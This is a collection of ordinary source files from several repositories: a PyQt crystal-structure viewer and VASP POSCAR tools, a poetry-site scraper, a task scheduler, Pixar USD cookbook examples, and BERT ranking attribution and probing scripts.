value.setStyleSheet("QLabel { background-color : %s }" % "white") temp.addWidget(title) temp.addWidget(value) temp.setContentsMargins(5, 5, 5, 5) position = (j // 3, j % 3) str_layout_2.addItem(temp, *position) tag = i + 1 j += 1 sub_label_3 = QLabel('Point Group of the Crystal') sub_label_3.setFont(QFont('Arial', 10, 50)) str_layout_3 = QGridLayout() j = 0 for i in range(tag, len(structure)): temp = QVBoxLayout() item = structure[i] if re.match('Bravais', item['title']): break title = QLabel(item['title']) title.setFont(QFont('Arial', 10, 50)) title.setStyleSheet("QLabel { background-color : %s }" % "white") title.setContentsMargins(5, 5, 5, 5) value = QLabel(item['value']) value.setFont(QFont('Arial', 12, 70)) value.setContentsMargins(5, 5, 5, 5) value.setStyleSheet("QLabel { background-color : %s }" % "white") temp.addWidget(title) temp.addWidget(value) temp.setContentsMargins(5, 5, 5, 5) position = (j // 3, j % 3) str_layout_3.addItem(temp, *position) tag = i + 1 j += 1 sub_label_4 = QLabel('Bravias Lattice of the Lattice') sub_label_4.setFont(QFont('Arial', 10, 50)) str_layout_4 = QGridLayout() j = 0 for i in range(tag, len(structure)): temp = QVBoxLayout() item = structure[i] if re.match('Superlattice', item['title']): break title = QLabel(item['title']) title.setFont(QFont('Arial', 10, 50)) title.setStyleSheet("QLabel { background-color : %s }" % "white") title.setContentsMargins(5, 5, 5, 5) value = QLabel(item['value']) value.setFont(QFont('Arial', 12, 70)) value.setContentsMargins(5, 5, 5, 5) value.setStyleSheet("QLabel { background-color : %s }" % "white") temp.addWidget(title) temp.addWidget(value) temp.setContentsMargins(5, 5, 5, 5) position = (j // 3, j % 3) str_layout_4.addItem(temp, *position) tag = i + 1 j += 1 sub_label_5 = QLabel('Superlattice') sub_label_5.setFont(QFont('Arial', 10, 50)) str_layout_5 = QGridLayout() j = 0 for i in range(tag, len(structure)): temp = QVBoxLayout() item = structure[i] if re.match('Reciprocal', item['title']): break title = QLabel(item['title']) title.setFont(QFont('Arial', 10, 50)) title.setStyleSheet("QLabel { background-color : %s }" % "white") title.setContentsMargins(5, 5, 5, 5) value = QLabel(item['value']) value.setFont(QFont('Arial', 12, 70)) value.setContentsMargins(5, 5, 5, 5) value.setStyleSheet("QLabel { background-color : %s }" % "white") temp.addWidget(title) temp.addWidget(value) temp.setContentsMargins(5, 5, 5, 5) position = (j // 3, j % 3) str_layout_5.addItem(temp, *position) tag = i + 1 j += 1 sub_label_6 = QLabel('Reciprocal Space Lattice') sub_label_6.setFont(QFont('Arial', 10, 50)) str_layout_6 = QGridLayout() j = 0 for i in range(tag, len(structure)): temp = QVBoxLayout() item = structure[i] title = QLabel(item['title']) title.setFont(QFont('Arial', 10, 50)) title.setStyleSheet("QLabel { background-color : %s }" % "white") title.setContentsMargins(5, 5, 5, 5) value = QLabel(item['value']) value.setFont(QFont('Arial', 12, 70)) value.setContentsMargins(5, 5, 5, 5) value.setStyleSheet("QLabel { background-color : %s }" % "white") temp.addWidget(title) temp.addWidget(value) temp.setContentsMargins(5, 5, 5, 5) position = (j // 3, j % 3) str_layout_6.addItem(temp, *position) j += 1 thermo_label = QLabel('THERMODYNAMIC PROPERTIES') thermo_label.setFont(QFont('Arial', 20, 50)) thermodynamic = json.loads(self.result[7]) thermo_layout = QGridLayout() for i in range(len(thermodynamic)): temp = QVBoxLayout() item = thermodynamic[i] title = QLabel(item['title']) title.setFont(QFont('Arial', 10, 50)) title.setStyleSheet("QLabel { background-color : %s }" % "white") title.setContentsMargins(5, 5, 5, 5) value = QLabel(item['value']) value.setFont(QFont('Arial', 12, 70)) value.setContentsMargins(5, 5, 5, 5) value.setStyleSheet("QLabel { background-color : %s }" % "white") temp.addWidget(title) temp.addWidget(value) temp.setContentsMargins(5, 5, 5, 5) position = (i // 3, i % 3) thermo_layout.addItem(temp, *position) elec_label = QLabel('ELECTRONIC PROPERTIES') elec_label.setFont(QFont('Arial', 20, 50)) electronic = json.loads(self.result[8]) elec_layout = QGridLayout() for i in range(len(electronic)): temp = QVBoxLayout() item = electronic[i] title = QLabel(item['title']) title.setFont(QFont('Arial', 10, 50)) title.setStyleSheet("QLabel { background-color : %s }" % "white") title.setContentsMargins(5, 5, 5, 5) value = QLabel(item['value']) value.setFont(QFont('Arial', 12, 70)) value.setContentsMargins(5, 5, 5, 5) value.setStyleSheet("QLabel { background-color : %s }" % "white") temp.addWidget(title) temp.addWidget(value) temp.setContentsMargins(5, 5, 5, 5) position = (i // 3, i % 3) elec_layout.addItem(temp, *position) file_label = QLabel('DOWNLOAD FILES') file_label.setFont(QFont('Arial', 20, 50)) files = json.loads(self.result[9]) file_layout = QGridLayout() for i in range(len(files)): temp = QVBoxLayout() item = files[i] file_type = QLabel(item['type'] + ':') file_type.setFont(QFont('Arial', 10, 50)) file_type.setStyleSheet("QLabel { background-color : %s }" % "white") file_type.setContentsMargins(5, 5, 5, 5) name = LinkLabel("<a href='#'>{0}</a>".format(item['name'])) name.setOpenExternalLinks(True) name.setFont(QFont('Arial', 12, 70)) name.setStyleSheet("QLabel { background-color : %s }" % "white") name.setContentsMargins(5, 5, 5, 5) name.content = item['content'] name.clicked.connect(self.link_clicked) temp.addWidget(file_type) temp.addWidget(name) temp.setContentsMargins(5, 5, 5, 5) file_layout.addItem(temp, i, 0, 1, 3) self.raw = files[0]['content'] toolpg = QHBoxLayout() toolbtn = QPushButton('Tools') toolbtn.setFont(QFont('Arial', 10, 50)) toolbtn.setStyleSheet("QPushButton { background-color : %s }" % "white") toolbtn.clicked.connect(self.getmethod) toolpg.addStretch(1) toolpg.addWidget(toolbtn) page = QVBoxLayout() page.addLayout(toolpg) page.addWidget(cal_label) page.addLayout(cal_layout) page.addWidget(str_label) page.addWidget(sub_label_1) page.addLayout(str_layout_1) page.addWidget(sub_label_2) page.addLayout(str_layout_2) page.addWidget(sub_label_3) page.addLayout(str_layout_3) page.addWidget(sub_label_4) page.addLayout(str_layout_4) page.addWidget(sub_label_5) page.addLayout(str_layout_5) page.addWidget(sub_label_6) page.addLayout(str_layout_6) page.addWidget(thermo_label) page.addLayout(thermo_layout) page.addWidget(elec_label) page.addLayout(elec_layout) page.addWidget(file_label) page.addLayout(file_layout) w = QWidget() w.setLayout(page) scroll = QScrollArea() scroll.setWidget(w) scroll.setMinimumSize(800, 800) vbox = QVBoxLayout() vbox.addWidget(scroll) self.setLayout(vbox) self.center() self.show() def center(self): qr = self.frameGeometry() cp = QDesktopWidget().availableGeometry().center() qr.moveCenter(cp) self.move(qr.topLeft()) def link_clicked(self): source = self.sender() content = source.content filename, ok = QFileDialog.getSaveFileName(None, 'Save As', './', "All Files (*)") if ok: with open(filename, 'w') as f: f.write(content) def getmethod(self): tool = ToolPage(self.raw) self.windows.append(tool) tool.show() if __name__ == '__main__': app = QApplication(sys.argv) text = 'F & Alkaline Earths' ex = DetailPage(52754) sys.exit(app.exec_()) ``` #### File: ab-crystal-library/method/defects_sub_donet.py ```python import os import re import sys from method import read from .write import poscar from method.defect import substitution def poscar_is_vasp5(path="POSCAR"): import re from os.path import join, exists, isdir if path is None: path = "POSCAR" if not hasattr(path, 'read'): assert exists(path), IOError("Could not find path %s." % (path)) if isdir(path): assert exists(join(path, "POSCAR")), IOError("Could not find POSCAR in %s." % (path)) path = join(path, "POSCAR") poscar = path if hasattr(path, "read") else open(path, 'r') for i in range(5): poscar.readline() is_vasp_5 = True line = poscar.readline().split() for i in line: if not re.match(r"[A-Z][a-z]?", i): is_vasp_5 = False break if is_vasp_5 is True: poscar.close() return None else: species = [] nb_atoms = [int(u) for u in line] poscar.readline() for n in nb_atoms: flag = 0 for i in range(n): line = poscar.readline().split() if flag is 0: species.append(line[3]) flag = 1 poscar.close() return species def exec(inputPath, outputPath, types, subs, center, tolerance): import platform structure = read.poscar(inputPath, types=poscar_is_vasp5(inputPath)) doped_result, view_result = substitution(structure, types, subs, center, tolerance) for doped_structure in doped_result: output_name = os.path.join(outputPath, doped_structure.name) if platform.system() == 'Windows': output_name = output_name.replace('\\', '/') poscar(doped_structure, file_name=output_name, vasp5=True) return view_result if __name__ == "__main__": inputPath = sys.argv[1] outputPath = sys.argv[2] types = sys.argv[3] if re.match(r'None', types): types = None elif re.match(r'\[', types): types = types.split('[')[1].split(']')[0].split(',') else: types = types.split() subs = sys.argv[4] if re.match(r'None', subs): subs = None elif re.match(r'\[', subs): subs = subs.split('[')[1].split(']')[0].split(',') else: subs = subs.split() center = sys.argv[5] if re.match(r'None', center): center = None else: center = center.split('[')[1].split(']')[0].split(',') center = [float(x) for x in center] tolerance = float(sys.argv[6]) symprec = float(sys.argv[7]) exec(inputPath, outputPath, types, subs, center, tolerance, symprec) os.system("pause") ``` #### File: ab-crystal-library/method/read.py ```python def poscar(path="POSCAR", types=None): """ Tries to read a VASP POSCAR file. :param path: Path to the POSCAR file. Can also be an object with file-like behavior. :type path: str or file object :param types: Species in the POSCAR. :type types: None or sequence of str :return: `pylada.crystal.Structure` instance. """ import re from os.path import join, exists, isdir from copy import deepcopy from numpy import array, dot, transpose from numpy.linalg import det from quantities import angstrom from method.structure import Structure from method import error # if types is not none, converts to a list of strings. if types is not None: if isinstance(types, str): types = [types] # can't see another way of doing this... elif not hasattr(types, "__iter__"): types = [str(types)] # single lone vasp.specie.Specie else: types = [str(s) for s in types] if path is None: path = "POSCAR" if not hasattr(path, 'read'): assert exists(path), IOError("Could not find path %s." % (path)) if isdir(path): assert exists(join(path, "POSCAR")), IOError("Could not find POSCAR in %s." % (path)) path = join(path, "POSCAR") result = Structure() poscar = path if hasattr(path, "read") else open(path, 'r') try: # gets name of structure result.name = poscar.readline().strip() if len(result.name) > 0 and result.name[0] == "#": result.name = result.name[1:].strip() # reads scale scale = float(poscar.readline().split()[0]) # gets cell vectors. cell = [] for i in range(3): line = poscar.readline() assert len(line.split()) >= 3,\ RuntimeError("Could not read column vector from poscar: %s." % (line)) cell.append([float(f) for f in line.split()[:3]]) result.cell = transpose(array(cell)) vol = det(cell) if scale < 1.E-8: scale = abs(scale / vol) ** (1.0 / 3) result.scale = scale * angstrom # checks for vasp 5 input. is_vasp_5 = True line = poscar.readline().split() for i in line: if not re.match(r"[A-Z][a-z]?", i): is_vasp_5 = False break if is_vasp_5: text_types = deepcopy(line) if types is not None and not set(text_types).issubset(set(types)): raise error.ValueError("Unknown species in poscar: {0} not in {1}." .format(text_types, types)) types = text_types line = poscar.readline().split() if types is None: raise RuntimeError("No atomic species given in POSCAR or input.") # checks/reads for number of each specie if len(types) < len(line): raise RuntimeError("Too many atomic species in POSCAR.") nb_atoms = [int(u) for u in line] # Check whether selective dynamics, cartesian, or direct. first_char = poscar.readline().strip().lower()[0] selective_dynamics = False if first_char == 's': selective_dynamics = True first_char = poscar.readline().strip().lower()[0] # Checks whether cartesian or direct. is_direct = first_char not in ['c', 'k'] # reads atoms. for n, specie in zip(nb_atoms, types): for i in range(n): line = poscar.readline().split() pos = array([float(u) for u in line[:3]], dtype="float64") if is_direct: pos = dot(result.cell, pos) result.add_atom(pos=pos, type=specie) if selective_dynamics: for which, freeze in zip(line[3:], ['x', 'y', 'z']): if which.lower()[0] == 't': result[-1].freeze = getattr(result[-1], 'freeze', '') + freeze finally: poscar.close() return result ```
{ "source": "jingslunt/poetry", "score": 3 }
#### File: script/spider/poeting_cn.py ```python import requests import os import re from bs4 import BeautifulSoup from util import Profile, write_poem base_url = 'http://www.poeting.cn' poets = [] exist_list = [] for root, dirs, _ in os.walk('tmp'): for dir in dirs: exist_list.append(dir[:dir.index('_')]) def find_poets(): response = requests.get(base_url) soup = BeautifulSoup(response.text, 'lxml') nav_list = soup.find_all('div', class_='navpoet') for nav in nav_list: poet_links = nav.find_all('a') for link in poet_links: name = re.sub(r'(.+)', '', link.text) url = link['href'] if name not in exist_list: poets.append((name, url)) def parse_poet(poet_name, poet_url): url = base_url + poet_url poet_res = requests.get(url) poet_soup = BeautifulSoup(poet_res.text, 'lxml') div_list = poet_soup.find_all('div', class_='item_wrap') if len(div_list) < 4: print('no content', url) div = div_list[3] content = re.sub(r'■\s*(.*?)\s*\n', '\n《\g<1>》\n', div.text) content = content.replace('回到首页\n返回顶部', '') write_poem(Profile(href=url, author=poet_name, title='城镇:散落的尘嚣或软语(组诗)'), content) def main(): find_poets() for poet in poets: parse_poet(poet[0], poet[1]) main() ```
{ "source": "jingsongliujing/tui_song_system", "score": 3 }
#### File: jingsongliujing/tui_song_system/dingshi.py ```python import datetime import time from apscheduler.schedulers.background import BackgroundScheduler import os def timedTask(): val = os.system('python kc.py') val2 = os.system('python kaoshi.py') print(val) print(val2) print(datetime.datetime.utcnow().strftime("%Y-%m-%d %H:%M:%S.%f")[:-3]) if __name__ == '__main__': # 创建后台执行的 schedulers scheduler = BackgroundScheduler() # 添加调度任务 # 调度方法为 timedTask,触发器选择 interval(间隔性),间隔时长为 2 秒,侧式时候用seconeds,minutes,hours关键字替换定时任务 scheduler.add_job(timedTask, 'interval', minutes=5) # 启动调度任务 scheduler.start() while True: print(time.time()) time.sleep(10) ```
{ "source": "jingtaoh/USD-Cookbook", "score": 3 }
#### File: relationship_forwarding/python/source_forwarding.py ```python from pxr import Usd def main(): """Run the main execution of the current script.""" stage = Usd.Stage.Open('../usda/source_forwarding.usda') prim = stage.GetPrimAtPath('/SomePrim') relationship = prim.GetRelationship("another") print('This is the raw target value "{}"'.format(relationship.GetTargets())) print('But this is the true location "{}"'.format(relationship.GetForwardedTargets())) variant_sets = prim.GetVariantSets() variant_set = variant_sets.GetVariantSet('forwarding_variant_set') for variant in variant_set.GetVariantNames(): variant_set.SetVariantSelection(variant) print('This is the raw target value "{}"'.format(relationship.GetTargets())) print('But this is the true location "{}"'.format(relationship.GetForwardedTargets())) if __name__ == "__main__": main() ``` #### File: notice_send/python/notice_send_global.py ```python from pxr import Tf def main(): """Run the main execution of the current script.""" def handle_notice(notice, sender): print("Handling notice") listener = Tf.Notice.RegisterGlobally("TfNotice", handle_notice) Tf.Notice().SendGlobally() # This will print the contents in `handle_notice` del listener # You can also run `listener.Revoke()` Tf.Notice().SendGlobally() # This won't print anything if __name__ == "__main__": main() ``` #### File: value_caching/python/value_caching.py ```python from __future__ import print_function # IMPORT STANDARD LIBRARIES import functools import time # IMPORT THIRD-PARTY LIBRARIES from pxr import Usd, UsdGeom REPEATS = 1000 def timeit(function, repeats): start = time.time() for _ in range(repeats): result = function() end = time.time() print( 'Function "{function}" was called "{repeats}" times and took "{total:.1f}" milliseconds.'.format( function=function.__name__, repeats=repeats, total=(end - start) * 1000 ) ) return result def _create_basic_scene(): stage = Usd.Stage.CreateInMemory() sphere = UsdGeom.Sphere.Define(stage, "/Some/Prim") sphere.GetRadiusAttr().Set(10.0) another = Usd.Stage.CreateInMemory() another.GetRootLayer().subLayerPaths.append(stage.GetRootLayer().identifier) override = UsdGeom.Sphere(another.OverridePrim("/Some/Prim")) override.GetRadiusAttr().Set(20.0) return another def _create_basic_scene_with_more_values(): stage = _create_basic_scene() override = UsdGeom.Sphere(stage.OverridePrim("/Some/Prim")) for sample in range(10000): override.GetRadiusAttr().Set(sample + 30, sample) return stage def _get_time_samples(attributes): for attribute in attributes: attribute.GetTimeSamples() def main(): print("Simple Stage:") stage = _create_basic_scene() sphere = UsdGeom.Sphere(stage.GetPrimAtPath("/Some/Prim")) radius = sphere.GetRadiusAttr() print("Testing Get(), normally") timeit(radius.Get, REPEATS) query = Usd.AttributeQuery(radius) print(query.Get()) radius.Set(100) print(query.Get()) print("Testing Get(), using UsdAttributeQuery") timeit(query.Get, REPEATS) print() print("Testing GetTimeSamples(), normally") timeit(radius.GetTimeSamples, REPEATS) function = functools.partial(query.GetUnionedTimeSamples, [query]) function.__name__ = "GetUnionedTimeSamples" print("Testing GetTimeSamples(), using a union") timeit(function, REPEATS) print() visibility = sphere.GetVisibilityAttr() function = functools.partial(_get_time_samples, (radius, visibility)) function.__name__ = "_get_time_samples - with radius and visibility" print("Testing GetTimeSamples() for multiple attributes, normally") timeit(function, REPEATS) function = functools.partial( query.GetUnionedTimeSamples, [query, Usd.AttributeQuery(visibility)] ) function.__name__ = "GetUnionedTimeSamples - with radius and visibility" print("Testing GetTimeSamples() for multiple attributes, using a union") timeit(function, REPEATS) print() print("Heavy Stage:") heavier_stage = _create_basic_scene_with_more_values() sphere = UsdGeom.Sphere(heavier_stage.GetPrimAtPath("/Some/Prim")) radius = sphere.GetRadiusAttr() visibility = sphere.GetVisibilityAttr() query = Usd.AttributeQuery(radius) function = functools.partial(_get_time_samples, (radius, visibility)) function.__name__ = "_get_time_samples - with radius and visibility" print("Testing GetTimeSamples() for multiple attributes, normally") timeit(function, REPEATS) function = functools.partial( query.GetUnionedTimeSamples, [query, Usd.AttributeQuery(visibility)] ) function.__name__ = "GetUnionedTimeSamples - with radius and visibility" print("Testing GetTimeSamples() for multiple attributes, using a union") timeit(function, REPEATS) if __name__ == "__main__": main() ``` #### File: value_clips/python/template_and_explicit.py ```python from pxr import Sdf, Usd def main(): """Run the main execution of this module.""" stage = Usd.Stage.CreateInMemory() stage.SetStartTimeCode(0) stage.SetEndTimeCode(2) prim = stage.DefinePrim("/Set") non_template_set_name = "non_template_clips" model = Usd.ClipsAPI(prim) model.SetClipActive([(0.0, 0)], non_template_set_name) model.SetClipAssetPaths( [Sdf.AssetPath("./non_template_clip.usda")], non_template_set_name ) model.SetClipPrimPath("/NonTemplate", non_template_set_name) template_set_name = "template_clips" model.SetClipTemplateAssetPath("./template_clip.##.usda", template_set_name) model.SetClipTemplateEndTime(2, template_set_name) model.SetClipTemplateStartTime(0, template_set_name) model.SetClipTemplateStride(1, template_set_name) model.SetClipPrimPath("/Template", template_set_name) prim.GetReferences().AddReference(assetPath="./set.usda", primPath="/Set") print(stage.GetRootLayer().ExportToString()) if __name__ == "__main__": main() ``` #### File: custom_resolver/run_test/custom_resolver.py ```python from __future__ import print_function # IMPORT THIRD-PARTY LIBRARIES from pxr import Ar def main(): """Run the main execution of the current script.""" print("This should still print an empty string", Ar.GetResolver().Resolve("this_wont_resolve")) print("This should print /bar", Ar.GetResolver().Resolve("/foo")) if __name__ == "__main__": main() ``` #### File: plugins/registered_variant_selection_export_policies/application_b.py ```python from __future__ import print_function # IMPORT THIRD-PARTY LIBRARIES from pxr import Usd, UsdUtils def main(): """Run the main execution of the current script.""" print('Printing the export policies') for variant in UsdUtils.GetRegisteredVariantSets(): print(variant.name, variant.selectionExportPolicy) print('Done') stage = Usd.Stage.CreateInMemory() prim = stage.DefinePrim("/Foo") variant_set = prim.GetVariantSets().AddVariantSet("some_variant_set") variant_set.AddVariant("foo") variant_set.SetVariantSelection("foo") print('Notice that, unless we actually check the variant selections ourselves, they still get written to-disk.') print(stage.GetRootLayer().ExportToString()) if __name__ == "__main__": main() ``` #### File: plugins/copy_camera/camera_manager.py ```python import re from pxr import Sdf _NUMBERED_NAME = re.compile(r"(?P<prefix>.*)(?P<number>\d+)$") def _guess_unique_path(text, paths): """Make sure `text` is a unique, according to the Prims in `stage`. Args: text (str): Some text to make unique. paths (container[:usd:`SdfPath`]): The Prim paths which `text` will check itself against. Returns: str: The new, unique path. If `text` is already unique, it is directly returned. """ def _increment(text): match = _NUMBERED_NAME.match(text) if not match: return text + "_copy" value = int(match.group("number")) + 1 return match.group("prefix") + str(value) path = Sdf.Path(text) for path_ in paths: if path == path_: text = _increment(text) return _guess_unique_path(text, paths) return text def set_unique_path(widget, paths): """Update the current text in `widget` to be unique, according to `paths`. Args: widget (:class:`PySide.QtGui.QLineEdit`): A widget to modify. paths (container[:usd:`SdfPath`]): The Prim paths which `widget` will be compared against. """ text = widget.text() text = _guess_unique_path(text, paths) widget.setText(text) ``` #### File: copy_variant_set_to_prim/python/copy_variant_set_to_prim.py ```python from pxr import Sdf def main(): """Run the main execution of the current script.""" source = Sdf.Layer.CreateAnonymous() root = source.pseudoRoot prim = Sdf.PrimSpec(root, "SomePrim", Sdf.SpecifierDef) variant_set = Sdf.VariantSetSpec(prim, "SomeVariantSet") variant = Sdf.VariantSpec(variant_set, "SomeVariant") Sdf.PrimSpec(variant.primSpec, "InnerPrim", Sdf.SpecifierDef) destination = Sdf.Layer.CreateAnonymous() Sdf.CopySpec( source, "/SomePrim{SomeVariantSet=SomeVariant}", destination, "/DestinationPrim" ) # XXX : Notice that we have to call `CreatePrimInLayer` here but # we didn't need to run it in the last example. That's because # in this example, the parent Prim path "/Another" doesn't # exist yet and has to be created before data can be copied to # "/Another/DestinationPrim". # # In the previous example, "/" is the parent of "/DestinationPrim". # And "/" always exists. So we didn't need to call # `CreatePrimInLayer`. But generally, you usually should. # destination_prim = "/Another/DestinationPrim" Sdf.CreatePrimInLayer(destination, destination_prim) Sdf.CopySpec( source, "/SomePrim{SomeVariantSet=SomeVariant}", destination, destination_prim, ) print(destination.ExportToString()) if __name__ == "__main__": main() ``` #### File: fast_export/python/fast_export.py ```python import collections import time # IMPORT THIRD-PARTY LIBRARIES from pxr import Sdf, Usd ITERATIONS = 1000 PATHS = frozenset(( "/BasePrim", "/BasePrim/InnerPrim", "/BasePrim/InnerPrim/SiblingPrim", "/SomePrim", "/SomePrim/AnotherInnerPrim", "/SomePrim/ChildPrim", "/SomePrim/SiblingPrim" )) # Reference: https://medium.com/pythonhive/python-decorator-to-measure-the-execution-time-of-methods-fa04cb6bb36d def _timeit(method): def timed(*args, **kw): ts = time.time() result = method(*args, **kw) te = time.time() if 'log_time' in kw: name = kw.get('log_name', method.__name__.upper()) kw['log_time'][name] = int((te - ts) * 1000) else: print '%r %2.2f ms' % \ (method.__name__, (te - ts) * 1000) return result return timed @_timeit def _prepare_prim_specs_with_sdf(layer, paths): """Create PrimSpecs using a Sdf Layer.""" for path in paths: prim_spec = Sdf.CreatePrimInLayer(layer, path) prim_spec.specifier = Sdf.SpecifierDef parent = layer.GetPrimAtPath("SomePrim/AnotherInnerPrim") for index in range(ITERATIONS): Sdf.PrimSpec(parent, "IndexedPrim{}".format(index), Sdf.SpecifierDef) @_timeit def _prepare_prims_with_stage(stage, paths): """Create Prims using a USD Stage.""" for path in paths: stage.DefinePrim(path) indexed_template = "/SomePrim/AnotherInnerPrim/IndexedPrim{}" for index in range(ITERATIONS): stage.DefinePrim(indexed_template.format(index)) def create_using_sdf(): """Run the main execution of the current script.""" layer = Sdf.Layer.CreateAnonymous() # TODO : Adding / Removing this ChangeBlock doesn't change the time # much. Is a change block only useful when authoring opinions? # with Sdf.ChangeBlock(): _prepare_prim_specs_with_sdf(layer, PATHS) return layer.ExportToString() def create_using_stage(): """str: Create Prims using a USD stage.""" stage = Usd.Stage.CreateInMemory() _prepare_prims_with_stage(stage, PATHS) return stage.GetRootLayer().ExportToString() def main(): stage_export = create_using_stage() layer_export = create_using_sdf() # The first line of a USD export is a metadata line so we remove it # here just so we can compare if the output really is the same. # stage_export = stage_export.splitlines()[1:] layer_export = layer_export.splitlines()[1:] print('These exports should be exactly the same', stage_export == layer_export) if __name__ == "__main__": main() ``` #### File: multi_payload/python/payload.py ```python from pxr import Usd, UsdGeom def create_cube_base_stage(stage): def _create_cube_payload(): stage = Usd.Stage.CreateInMemory() UsdGeom.Xform.Define(stage, "/PayloadCubeThing") UsdGeom.Cube.Define(stage, "/PayloadCubeThing/PayloadCube") return stage.GetRootLayer().identifier payload = _create_cube_payload() xform = UsdGeom.Xform.Define(stage, "/SomeXformCube") xform.GetPrim().GetPayloads().AddPayload( assetPath=payload, primPath="/PayloadCubeThing" ) return xform def create_sphere_base_stage(stage): def _create_sphere_payload(): stage = Usd.Stage.CreateInMemory() UsdGeom.Xform.Define(stage, "/PayloadSphereThing") UsdGeom.Sphere.Define(stage, "/PayloadSphereThing/PayloadSphere") return stage.GetRootLayer().identifier payload = _create_sphere_payload() xform = UsdGeom.Xform.Define(stage, "/SomeXformSphere") xform.GetPrim().GetPayloads().AddPayload( assetPath=payload, primPath="/PayloadSphereThing" ) return xform def main(): """Run the main execution of the current script.""" stage = Usd.Stage.CreateInMemory() cube = create_cube_base_stage(stage) sphere = create_sphere_base_stage(stage) xform = UsdGeom.Xform.Define(stage, "/SomeTransform") xform.GetPrim().GetReferences().AddReference( assetPath="", primPath="/SomeXformCube" ) xform.GetPrim().GetReferences().AddReference( assetPath="", primPath="/SomeXformSphere" ) print(stage.GetRootLayer().ExportToString()) if __name__ == "__main__": main() ```
{ "source": "jingtaozhan/bert-ranking-analysis", "score": 2 }
#### File: bert-ranking-analysis/adversary/dataset.py ```python import torch import numpy as np from dataset import pack_tensor_2D, pack_tensor_3D, load_qrels from utils import generate_rank, eval_results, get_period_idxes def get_collate_function(tokenizer, mask_method): period_id = tokenizer.convert_tokens_to_ids([","])[0] def collate_function(batch): period_indexes_lst = [ get_period_idxes( tokenizer.convert_ids_to_tokens( x["passage_input_ids"])) for x in batch] ret_batch = {} if mask_method == "commas": for data, period_indexes in zip(batch, period_indexes_lst): for period_idx in period_indexes: data['passage_input_ids'][period_idx] = period_id else: periods_flags_lst = [np.ones( len(x['passage_input_ids']) + len(x['query_input_ids'])) for x in batch] for arr, periods_indexes, data in zip(periods_flags_lst, period_indexes_lst, batch): if len(periods_indexes) == 0: continue arr[np.array(periods_indexes) + len(data['query_input_ids'])] = 0 if mask_method == "token_mask": ret_batch['attention_mask'] = pack_tensor_2D( periods_flags_lst, default=0, dtype=torch.int64) elif mask_method == "attention_mask": ret_batch['attention_mask_after_softmax'] = pack_tensor_2D( periods_flags_lst, default=0, dtype=torch.int64) else: raise NotImplementedError() input_ids_lst = [x["query_input_ids"] + x["passage_input_ids"] for x in batch] token_type_ids_lst = [[0]*len(x["query_input_ids"]) + [1]*len(x["passage_input_ids"]) for x in batch] ret_batch["input_ids"] = pack_tensor_2D(input_ids_lst, default=0, dtype=torch.int64) ret_batch["token_type_ids"]= pack_tensor_2D(token_type_ids_lst, default=0, dtype=torch.int64) if "attention_mask" not in ret_batch: attention_mask_lst = [[1]*len(input_ids) for input_ids in input_ids_lst] ret_batch['attention_mask'] = pack_tensor_2D(attention_mask_lst, default=0, dtype=torch.int64) qid_lst = [x['qid'] for x in batch] pid_lst = [x['pid'] for x in batch] return ret_batch, qid_lst, pid_lst return collate_function ``` #### File: bert-ranking-analysis/attribution/draw.py ```python import matplotlib matplotlib.rcParams['pdf.fonttype'] = 42 matplotlib.rcParams['ps.fonttype'] = 42 import os import re import json import argparse import numpy as np import subprocess import traceback from collections import defaultdict from matplotlib import pyplot as plt from utils import get_period_idxes def compute_attr(filepath, filter_wrong): all_cls_attribues, all_sep_attributes = [], [] all_query_attr, all_para_attr, all_periods_attributes = [], [], [] for line in open(filepath): data = json.loads(line) prediction = data['prediction'] if filter_wrong and prediction < 0.5: continue tokens, attritbutes = data['tokens'], data['attributes'] cls_attributes= attritbutes[0] sep_idx = tokens.index("[SEP]") sep_attribute = attritbutes[sep_idx] + attritbutes[-1] query_attribute = sum(attritbutes[1:sep_idx]) para_attribute = sum(attritbutes[sep_idx+1:-1]) para_tokens = tokens[sep_idx+1:-1] period_idxes = get_period_idxes(para_tokens) period_attribute = sum(attritbutes[i+sep_idx+1] for i in period_idxes) all_periods_attributes.append(period_attribute) all_cls_attribues.append(cls_attributes) all_para_attr.append(para_attribute) all_query_attr.append(query_attribute) all_sep_attributes.append(sep_attribute) return (np.mean(all_cls_attribues), np.mean(all_sep_attributes), np.mean(all_query_attr), np.mean(all_para_attr), np.mean(all_periods_attributes)) def eval_segment(data_dir): x_arr = list(range(12)) cls_arr, sep_arr, query_arr, para_arr, period_arr = [], [], [], [], [] for x in x_arr: cls_attr, sep_attr, query_attr, para_attr, period_attr = compute_attr( f"{data_dir}/layer_{x}.json", filter_wrong=True ) cls_arr.append(cls_attr) sep_arr.append(sep_attr) query_arr.append(query_attr) para_arr.append(para_attr) period_arr.append(period_attr) return x_arr, cls_arr, sep_arr, query_arr, para_arr, period_arr def draw(model_results_lst, save_path, x_label, titles): # Pretty colors colors = [ "#e74c3c" ,#RED = "#f39c12",#ORANGE = "#9b59b6",#PURPLE = "#159d82",#SEA = "#3498db", #BLUE = "#95a5a6",#GREY = "#59d98e",#GREEN : '#A52A2A', #BROWN '#000080', #navy ] plt.figure(figsize=(10, 4)) for idx, (model_results, title) in enumerate(zip(model_results_lst, titles)): ax = plt.subplot(1, 2, idx+1) for idx, (label, (x_arr, y_arr)) in enumerate(model_results.items()): ax.plot(x_arr, y_arr, label=label, color=colors[idx]) ax.legend(loc="best") ax.set_xlabel(x_label) ax.set_ylabel("Attribute") ax.set_title(title) plt.savefig(save_path, bbox_inches='tight') if __name__ == "__main__": parser = argparse.ArgumentParser() parser.add_argument("--output_path", type=str, default="./data/attribution.pdf") parser.add_argument("--data_root", type=str, default="./data/attribution") args = parser.parse_args() lst = [] for segment in ['query', 'para']: x_arr, cls_arr, sep_arr, query_arr, para_arr, period_arr = eval_segment( f"{args.data_root}/{segment}" ) eval_dict = { "[CLS]":(x_arr, cls_arr), "[SEP]":(x_arr, sep_arr), "Query":(x_arr, query_arr), "Document":(x_arr, para_arr), "Periods": (x_arr, period_arr), } lst.append(eval_dict) draw(lst, args.output_path, x_label="layer", titles=["Empty Query Baseline", "Empty Document Baseline"]) ``` #### File: bert-ranking-analysis/probing/save_embed.py ```python import os import glob import torch import random import logging import argparse import zipfile import json import unicodedata import numpy as np from tqdm import tqdm, trange from torch.utils.data import DataLoader from transformers import BertConfig, BertTokenizer from modeling import MonoBERT from utils import get_period_idxes, is_num, is_punctuation from mask.dataset import TopNDataset from dataset import get_collate_function def get_indexes(stop_words_set, tokenizer, input_tokens, mid_sep_index, load_key): if load_key == "cls": return [0] elif load_key == "all_query_tokens": # query return list(range(1, mid_sep_index)) elif load_key == "seps": return [mid_sep_index, len(input_tokens)-1] elif load_key == "rand_passage_tokens": # document all_idxes = 